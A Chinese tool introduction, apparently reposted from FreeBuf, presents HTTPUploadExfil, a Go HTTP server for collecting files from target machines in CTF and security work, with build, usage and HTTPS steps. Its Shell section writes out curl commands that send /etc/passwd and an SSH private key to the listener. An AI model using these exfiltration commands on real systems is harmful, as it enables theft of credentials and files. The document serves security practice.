前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTF神器:如何使用HTTPUploadExfil快速实现文件数据的提取和传输

CTF神器:如何使用HTTPUploadExfil快速实现文件数据的提取和传输

作者头像
FB客服
发布2021-11-25 16:16:23
1.1K0
发布2021-11-25 16:16:23
举报
文章被收录于专栏:FreeBufFreeBuf

关于HTTPUploadExfil

HTTPUploadExfil是一款简单但功能强大的HTTP服务器,该服务器基于Go语言开发,可以帮助广大研究人员轻松使用HTTP来从目标设备上收集文件数据或其他信息。该工具适用于很多的安全应用场景,比如说CTF比赛等等。

其实,我们可以把HTTPUploadExfil看作是Python中的http.server(“python3 -m http.server”),但HTTPUploadExfil的主要功能是远程从目标设备上提取数据,而不是在目标设备上向远程服务器发送数据。

很明显,这是一种非常方便强大但又存在一定限制的数据/文件提取方式。然而,HTTPUploadExfil的使用比SMB或FTP要更加简单。如果你正在寻找类似的工具,HTTPUploadExfil绝对是你最佳的选择。当然了,除了HTTPUploadExfil之外,社区还有dnsteal或PyExfil之类的工具可供选择。

工具下载

首先,我们需要在本地设备上安装并配置好Go语言环境,然后使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/IngoKl/HTTPUploadExfil.git

运行下列命令构建工具代码:

代码语言:javascript
复制
go build

除此之外,我们也可以直接访问该项目的Releases页面下载Linux或Windows版本的项目源码,不过这些版本可能更新速度比较慢,并不包含HTTPUploadExfil最新版本的功能特性。

构建和开发

虽然我们已经提供了完整的项目代码,但我们也建议大家动手构建自己的工具版本,这样就可以使用HTTPUploadExfil最新版本的功能特性了。

首先,我们需要在终端窗口中切换至项目根目录下,然后运行下列命令:

代码语言:javascript
复制
go build

然后我们就能够拿到针对自己操作系统平台的httpuploadexfil可执行程序了。

如果你需要修改工具配置或功能,请运行下列命令:

代码语言:javascript
复制
go fmt main.go

或者,你还可以使用“make”命令构建该工具,或者运行下列命令来生成SSL证书:

代码语言:javascript
复制
make cert

工具操作流程

使用“go build”命令构建工具代码。

在我们自己的设备上运行下列命令:

代码语言:javascript
复制
./httpuploadexfil :1337 /home/kali/loot

在需要提取过滤文件数据的目标设备中,访问下列地址:

代码语言:javascript
复制
http://YOUR_IP:1337/

此时,我们就可以在自己设备上的“/home/kali/loot”目录中查看到我们获取到的文件了。

工具使用

默认配置下,HTTPUploadExfil将会在8080端口上运行,所有的文件都会被写入至当前目录:

代码语言:javascript
复制
./httpuploadexfil

我们还可以指定某些运行参数:

代码语言:javascript
复制
./httpuploadexfil :1337 /home/kali/loot

第一个参数是绑定的地址,第二个参数为存储文件的目录地址。

终端节点

Web服务器会暴露四个终端节点供我们使用:

代码语言:javascript
复制
/(GET):上传表单。/p(POST):从上传表单中获取数据,它要求使用带有“file”表单字段的multipart/form-data请求。/g(GET):获取任意GET请求并在服务器上存储完整的请求信息。/l(GET):提供指定目录文件夹中的文件访问权,并提供基础的“python3 -m http.server”功能。

HTTPs模式

HTTPUploadExfil 还能够以HTTPs模式运行,此时我们需要在项目代码文件中存储一个HTTPUploadExfil.csr和一个HTTPUploadExfil.key文件即可。我们可以通过下列命令生成这两个文件:

代码语言:javascript
复制
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csropenssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr
代码语言:javascript
复制
或者,使用下列命令完成证书生成:
代码语言:javascript
复制
make cert

如果服务器检测到了HTTPUploadExfil.csr文件,它将会尝试开启HTTPs模式。如果需要切换回HTTP模式,请直接删除或重命名证书文件即可。

Shell

在Bash的帮助下,我们可以使用GET请求来实现文件数据的提取和过滤,比如说:

代码语言:javascript
复制
echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g

当然了,我们同样可以使用curl来实现文件数据的提取和过滤:

代码语言:javascript
复制
curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p

项目地址

https://github.com/IngoKl/HTTPUploadExfil

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-11-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 关于HTTPUploadExfil
  • 工具下载
  • 构建和开发
  • 工具操作流程
  • 工具使用
  • 终端节点
  • Shell
  • 项目地址
相关产品与服务
SSL 证书
腾讯云 SSL 证书(SSL Certificates)为您提供 SSL 证书的申请、管理、部署等服务,为您提供一站式 HTTPS 解决方案。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档